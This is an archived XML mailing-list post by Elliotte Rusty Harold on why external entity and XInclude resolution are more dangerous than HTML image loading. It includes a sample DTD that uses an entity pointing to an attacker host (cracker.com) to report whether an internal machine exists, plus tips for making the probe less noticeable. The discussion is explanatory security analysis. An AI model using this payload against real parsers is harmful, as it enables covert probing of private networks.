Cart
[Home] [By Thread] [By Date] [Recent Entries]
I initially thought this was worse then the entity problem because the fallbacks allowed the result of a load or failure to be communicated back to another site. On further reflection, and after reading various comments in this thread, I now think it may not be. However, this is not because I think the hole is potentially any less dangerous. Rather I've realized that entity resolution is more dangerous than I initially thought. Furthermore, both XInclude and External entity resolution are more dangerous than IMG loading because they both offer a covert channel through which the success or failure of a load can be communicated to a remote site. In XInclude this mechanism is the fallback. In external entities, it's the next entity reference. There are a variety of ways to organize this, using both parameter and general entities, and internal and external DTD subsets. However, for the sake of argument, consider this document: <!DOCTYPE root [ <!ENTITY target1 SYSTEM "http://gandalf/index.xml"> <!ENTITY result1 SYSTEM "http://www.cracker.com/?exists=Gandalf"> ]> <root> &target1; &result1; </root> The attacker can know that Gandalf exists if they receive the callback to their URL in their logs. If they don't, a local host named gandalf probably doesn't exist. (Gandalf at least used to be one of the most common host names. Other obvious targets include 192.168.254.XXX, etc.) Some parsers might resolve both references when the DTD is parsed, and might not actually throw an error on the missing target1 until it was referenced in the instance document. But some parsers will behave as needed for this to work, and you might force the behavior you want by using parameter entity references instead of general entity references. That would be less obvious to the user too. This is not a perfect communications channel by any means, but it isn't perfectly closed either. This is still probably less dangerous than the XInclude version of the attack because for it to succeed gandalf not only needs to exist, it must return something that can plausibly fit into an XML document: either XML or plain text that doesn't contain & or <. XInclude can use parse="text" to open up a lot more possibilities. The IMG case in HTML is qualitatively different. The success or failure of the loading of one IMG element is unrelated to the loading of anything else. As far as I've been able to devise, there's no direct way to communicate the result back to another host. (Perhaps JavaScript can do it. I really don't know.) -- +-----------------------+------------------------+-------------------+ | Elliotte Rusty Harold | elharo@m... | Writer/Programmer | +-----------------------+------------------------+-------------------+ | XML in a Nutshell, 2nd Edition (O'Reilly, 2002) | | http://www.cafeconleche.org/books/xian2/ | | http://www.amazon.com/exec/obidos/ISBN%3D0596002920/cafeaulaitA/ | +----------------------------------+---------------------------------+ | Read Cafe au Lait for Java News: http://www.cafeaulait.org/ | | Read Cafe con Leche for XML News: http://www.cafeconleche.org/ | +----------------------------------+---------------------------------+
|
